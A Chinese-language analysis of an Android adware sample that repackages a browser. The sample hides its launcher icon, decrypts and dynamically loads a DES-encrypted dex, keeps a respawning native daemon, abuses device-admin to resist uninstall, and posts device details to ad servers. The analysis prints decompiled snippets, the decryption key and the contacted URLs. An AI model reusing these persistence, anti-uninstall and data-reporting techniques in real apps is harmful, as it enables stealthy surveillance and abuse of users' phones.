概况
- MD5: 14792786094250715197540fd3b58439
- SHA256: 456caeaaa8346c7a9e2198af5a0ca49d87e616a2603884580df22728a49893d7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| Certificate: Data: Version: 3 (0x2) Serial Number: 1208868505 (0x480dde99) Signature Algorithm: sha256WithRSAEncryption Issuer: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool Validity Not Before: Sep 9 09:11:13 2015 GMT Not After : Jan 25 09:11:13 2043 GMT Subject: C=CN, ST=sc, L=sc, O=maizi, OU=maizi, CN=pktool Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) Modulus: 00:93:57:2d:52:af:c1:71:cf:7a:cb:2f:6a:6c:0a: b2:3f:4b:60:a6:a7:d0:9d:ba:36:a1:0f:0d:cc:9e: 32:ea:23:df:80:a3:b3:9f:2b:93:b9:53:c4:e5:bf: 05:32:21:23:c1:13:78:b0:72:08:19:8e:5e:c0:a0: 13:11:19:d6:23:8a:b6:44:2b:73:e0:1d:f3:b3:f4: ab:6c:2e:af:78:2f:8b:e2:dc:b0:d6:06:af:8e:3f: 29:54:1a:59:44:55:73:98:2f:fd:8b:18:b0:de:c6: 9c:ee:0c:c7:f7:04:9d:0c:a7:62:06:45:4f:08:20: 2e:ca:a9:20:88:0e:08:2b:f1:9c:a9:24:5d:35:85: 02:bb:c0:ff:37:98:4b:c7:6f:f2:75:81:43:78:f8: 4b:cc:63:8c:f5:0e:c9:95:05:3d:ee:a1:85:cd:94: 97:b8:48:93:02:b3:71:6e:fb:39:6f:63:5d:a7:24: c1:dc:77:a9:9c:de:5d:76:63:a8:ad:1d:e9:d6:84: 9b:ee:8d:37:38:4b:7c:ff:94:c9:df:dd:17:80:8c: e8:d1:94:5d:05:dc:ef:d8:dc:90:4c:8b:75:22:6d: 57:6e:ee:4c:5f:62:96:5c:72:64:a4:5b:0f:29:e0: f3:31:11:99:6a:b4:e5:6c:16:4d:8a:44:46:06:8f: 06:05 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: A6:8F:86:BB:A7:0A:DB:29:2E:E9:26:A6:F1:8C:BF:2F:4B:58:99:39 Signature Algorithm: sha256WithRSAEncryption 82:62:98:a8:39:10:3b:f5:09:42:97:de:e9:4c:57:6c:4e:58: a3:1a:31:29:a4:79:98:3f:c9:68:3c:e5:90:be:7f:b0:98:2b: 8f:95:9e:4e:d2:bc:82:6e:bf:32:56:35:87:c8:19:08:ae:af: 9c:db:94:71:d4:db:73:d9:25:e2:e5:f1:92:a0:a4:c4:bd:27: 21:b2:c8:ec:e2:2a:c3:bb:a2:85:97:78:2b:4a:94:cc:fc:dc: 75:6a:11:c8:ba:da:30:be:11:e9:e7:4a:5e:e1:ae:af:4d:36: 14:69:31:ab:68:16:69:ed:a8:bb:c7:be:bf:8b:ca:4c:01:d0: 7e:65:45:31:72:0f:7b:8d:7e:76:40:86:45:8d:ee:a3:b2:ee: ac:d3:0e:60:29:b0:fd:dc:8c:6a:25:06:01:99:81:96:f5:4c: 1d:1a:1d:dc:0e:4b:66:15:80:e8:f5:1c:cd:98:60:71:08:de: f9:4f:69:b0:22:ec:05:18:6b:cd:5a:05:ce:3a:fe:57:4b:e7: 8b:64:b4:f7:4a:cd:63:c1:03:01:e2:b0:aa:81:2d:89:e1:4d: da:fb:8f:b9:37:02:ad:85:64:de:87:73:1a:7a:36:50:3f:e6: 9a:73:65:a0:33:af:81:c6:c8:55:89:e6:a8:03:6a:c6:da:f0: a5:cc:1c:6e
|
样本通过apktool重打包激情浏览器,引诱下载达到感染的目的。样本安装后启动两个服务常驻手机, 通过广告来获得经济收益,安装应用后访问以下链接:
http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg
http://dw.cnscns.com 是一个移动广告平台。
分析
关键的地方是两个service和一个Receiver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <service android:name="net.tend.dot.DZS" /> <service android:exported="true" android:name="net.tend.dot.DZK" android:process=":daemon" /> <activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize" android:excludeFromRecents="true" android:launchMode="singleInstance" android:name="net.tend.dot.DZA" android:theme="@android:style/Theme.Translucent.NoTitleBar" /> <receiver android:name="net.tend.dot.DZR"> <intent-filter> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> <action android:name="android.intent.action.USER_PRESENT" /> <action android:name="com.dz.downloadmanager" /> <action android:name="action.dz.start" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REMOVED" /> <data android:scheme="package" /> </intent-filter> </receiver>
|
但是这两个Service和Receiver的代码并不在App代码中,而是在动态加载的dex中,其中的对于关系如下:
net.tend.dot.DZS -> mkit.dz.vol.MFSS
net.tend.dot.DZK -> mkit.dz.vol.MFKS
net.tend.dot.DZR -> mkit.dz.vol.MFBR
net.tent.dot.DZA -> mkit.dz.vol.MFAC
而动态加载的dex 由 assets/dzsm 解密而来。样本的文件转换图如下:

assets/dzsm 使用DES加密,文件的前32个字节为key,后面的为加密的内容,可以使用下面的java代码进行 解密。解密出来的文件为dex文件,可以用jeb正常分析。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream;
import javax.crypto.Cipher; import javax.crypto.CipherInputStream; import javax.crypto.CipherOutputStream; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec;
public class decrypt {
public static void main(String[] args) { try { String key = "8q6e81ssaiem1msqii9ixasmumsxxxqq";
FileInputStream fis2 = new FileInputStream("/tmp/dzsm"); FileOutputStream fos2 = new FileOutputStream("decrypted"); decrypt(key, fis2, fos2); } catch (Throwable e) { e.printStackTrace(); } }
public static void encrypt(String key, InputStream is, OutputStream os) throws Throwable { encryptOrDecrypt(key, Cipher.ENCRYPT_MODE, is, os); }
public static void decrypt(String key, InputStream is, OutputStream os) throws Throwable { encryptOrDecrypt(key, Cipher.DECRYPT_MODE, is, os); }
public static void encryptOrDecrypt(String key, int mode, InputStream is, OutputStream os) throws Throwable {
DESKeySpec dks = new DESKeySpec(key.getBytes()); SecretKeyFactory skf = SecretKeyFactory.getInstance("DES"); SecretKey desKey = skf.generateSecret(dks); Cipher cipher = Cipher.getInstance("DES");
if (mode == Cipher.ENCRYPT_MODE) { cipher.init(Cipher.ENCRYPT_MODE, desKey); CipherInputStream cis = new CipherInputStream(is, cipher); doCopy(cis, os); } else if (mode == Cipher.DECRYPT_MODE) { cipher.init(Cipher.DECRYPT_MODE, desKey); CipherOutputStream cos = new CipherOutputStream(os, cipher); doCopy(is, cos); } }
public static void doCopy(InputStream is, OutputStream os) throws IOException { byte[] bytes = new byte[64]; int numBytes; while ((numBytes = is.read(bytes)) != -1) { os.write(bytes, 0, numBytes); } os.flush(); os.close(); is.close(); }
}
|
MainActivity是 com.dz.browser.WelActivity
1 2 3 4 5 6 7 8
| <activity android:icon="@drawable/icon1" android:label="@string/main_name" android:name="com.dz.browser.WelActivity" android:screenOrientation="portrait"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity>
|
WelActivity 里干几件事:
- 隐藏图标
1 2 3 4 5 6
| private void setComponentEnabled(Context context, Class arg6, boolean enabled) { ComponentName v0 = new ComponentName(context, arg6.getName()); PackageManager v3 = context.getPackageManager(); int v1 = enabled ? 1 : 2; v3.setComponentEnabledSetting(v0, v1, 1); }
|
- 动态加载dex
1 2 3 4 5 6 7 8 9 10
| private void GoMain() { new Handler().postDelayed(new Runnable() { public void run() { WelActivity.this.setComponentEnabled(WelActivity.this, WelActivity.class, false); } }, 5000); Intent v0 = new Intent(); v0.setClass(((Context)this), GuideActivity.class); this.startActivity(v0); }
|
GuideActivity 的 onCreate 调用 DZM.getInstance(((Context)this)).init(); 加载 dex。 GuideActivity 同时向广告服务器发送本机信息
1 2 3 4 5 6 7 8 9 10 11
| new Thread(new Runnable() { public void run() { try { Log.i("ads", "==" + HttpUtils.post(String.valueOf(Constant.reportUrl) + Utils.getQID( GuideActivity.this), GuideActivity.this.Params.reqparams())); } catch(PackageManager$NameNotFoundException v1) { v1.printStackTrace(); } } }).start();
|
http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1
1 2 3 4 5 6 7 8
| POST /api-mobvista/sdkback?appkey=SexTubeMobvista1 HTTP/1.1 Content-Length: 59 Content-Type: application/x-www-form-urlencoded Host: mob.s2s.nooobi.com Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
country=CN&ip=220.231.27.156&model=sdk&imei=000000000000000
|
同时加载dex还有另外一个入口,通过 Receiver
1 2 3 4 5 6 7 8 9 10 11 12 13
| <receiver android:name="net.tend.dot.DZR"> <intent-filter> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> <action android:name="android.intent.action.USER_PRESENT" /> <action android:name="com.dz.downloadmanager" /> <action android:name="action.dz.start" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REMOVED" /> <data android:scheme="package" /> </intent-filter> </receiver>
|
当网络变化,用户锁屏等操作时将自动加载dex
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class DZR extends BroadcastReceiver { public DZR() { super(); }
private void a(Context context, Intent intent) { try { a.a(context, i.class).onReceive(context, intent); } catch(Exception v0) { Log.e("ads", "", ((Throwable)v0)); } }
public void onReceive(Context context, Intent intent) { Context context = context.getApplicationContext(); String action = intent.getAction(); System.out.println("SV=" + dzm_version.DZM_1_2_5); if(action.equals("android.intent.action.USER_PRESENT")) { DZM.getInstance(context); }
l.start_thread(context); if(l.str_dzmb_kiup_act().equals(action)) { l.loadDex(context, intent); } else { this.a(context, intent); } } }
|
1 2 3 4 5 6
| <receiver android:name="com.dz.browser.MyReceiver"> <meta-data android:name="android.app.device_admin" android:resource="@xml/lockourscreen" /> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver>
|
lockourscreen.xml 里申请了锁屏权限
1 2 3 4 5
| <device-admin xmlns:android="http://schemas.android.com/apk/res/android"> <uses-policies> <force-lock /> </uses-policies> </device-admin>
|
但是Receiver里什么也没有干,这只是为了阻止普通用户卸载app。

样本会访问下面URL 获得ip地址信息 http://ip.taobao.com/service/getIpInfo2.php?ip=myip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| { code: 0, data: { country: "中国", country_id: "CN", area: "华北", area_id: "100000", region: "北京市", region_id: "110000", city: "北京市", city_id: "110100", county: "", county_id: "-1", isp: "华瑞信通", isp_id: "1000146", ip: "220.231.27.156" } }
|
从分析看样本主要是获取广告,下载apk,安装apk 这几个功能,还可以使用浏览器打开指定URL
daemon 分析
两个服务中,daemon 是 arm elf 可执行文件,app安装后自动执行。daemon程序由 dz.jar 的 assets/oilive 释放出来。 在手机上得到下面的命令行
1
| /data/data/org.dz.passion.browser/app_bin/daemon -p org.dz.passion.browser -s net.tend.dot.DZK -t 120
|
daemon 使用说明
1
| usage: %s -p package-name -s daemon-service-name -t interval-time
|
daemon 进程的父进程是init,结束应用进程不会结束daemon进程,将应用进程结束后过120秒,daemon将会重新自动启动 服务程序。
1 2 3
| u0_a45 999 36 193564 32452 ffffffff 40033a40 S org.dz.passion.browser:daemon u0_a45 1016 36 192640 35772 ffffffff 40033a40 S org.dz.passion.browser u0_a45 1028 1 728 296 c0099f1c 40032c88 S /data/data/org.dz.passion.browser/app_bin/daemon
|
这个搞法似类以前的双进程监控,不容易干掉,上面说过启动App就启动两个服务 DZS 和 DZK,而DZK的代码其实在MFKS中, 从下面的代码可以看到,MFKS在Service 的 OnCreate 是就把daemon 运行起来了,daemon 又会检查app的服务的状态,有会自动 启动服务,比较流氓啊!这么做目的还是为了常驻手机,长期运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class MFKS { private Service service;
public MFKS() { super(); }
public IBinder onBind(Intent arg2) { return null; }
public void onCreate() { run_daemon.install(this.service.getApplicationContext(), config.get_kvp_classObject(this.service .getApplicationContext()), 120); this.service.startService(new Intent(this.service.getApplicationContext(), config.get_svp_classObject( this.service.getApplicationContext()))); }
public void onStart(Intent arg1, int arg2) { }
public void setService(Service arg1) { this.service = arg1; } }
|
附录
访问的URL
http://ip.taobao.com/service/getIpInfo2.php%3Fip%3Dmyip
http://api.nooobi.com/api-unlock/getlockappconfig
http://api.nooobi.com/api-unlock/insertimei
http://mob.s2s.nooobi.com/api-mobvista/sdkback%3Fappkey%3DSexTubeMobvista1
http://api.nooobi.com/api-unlock/getapptype
http://api.nooobi.com/api-unlock/kitup
http://alog.umeng.com/app_logs
http://api.nooobi.com/api-unlock/getadlist
http://dw.cnscns.com/upload/adIcon/2015-10-07/55c01eff-e66a-4186-9658-977d025c5395.png
http://dw.cnscns.com/upload/adOnline/2015-10-07/db90fe85-dd23-4674-9bbc-767c978acb8c.jpg
http://dw.cnscns.com/upload/adIcon/2015-09-06/eccb1bfd-7c3a-44a3-bfc8-e559eb995b49.png
http://dw.cnscns.com/upload/adOnline/2015-09-06/2cd2516c-6f55-4d99-8913-e121fd34abbd.jpg
http://dw.cnscns.com/upload/adIcon/2015-06-18/a7a41435-51e6-4a02-8bb5-1d96edf1a403.png
http://dw.cnscns.com/upload/adOnline/2015-09-19/2e3fe3ec-8043-4a03-ac6d-6b815dc2c144.jpg
http://api.nooobi.com/api-unlock/unlockaction
总结
DZSM 这个样本使用了动态加载dex的技术,使得其检测更加困难。代码结构良好,异常处理充分, 是一个专业程序员的作品。使用了简单的加密技术,也是为了逃避检查。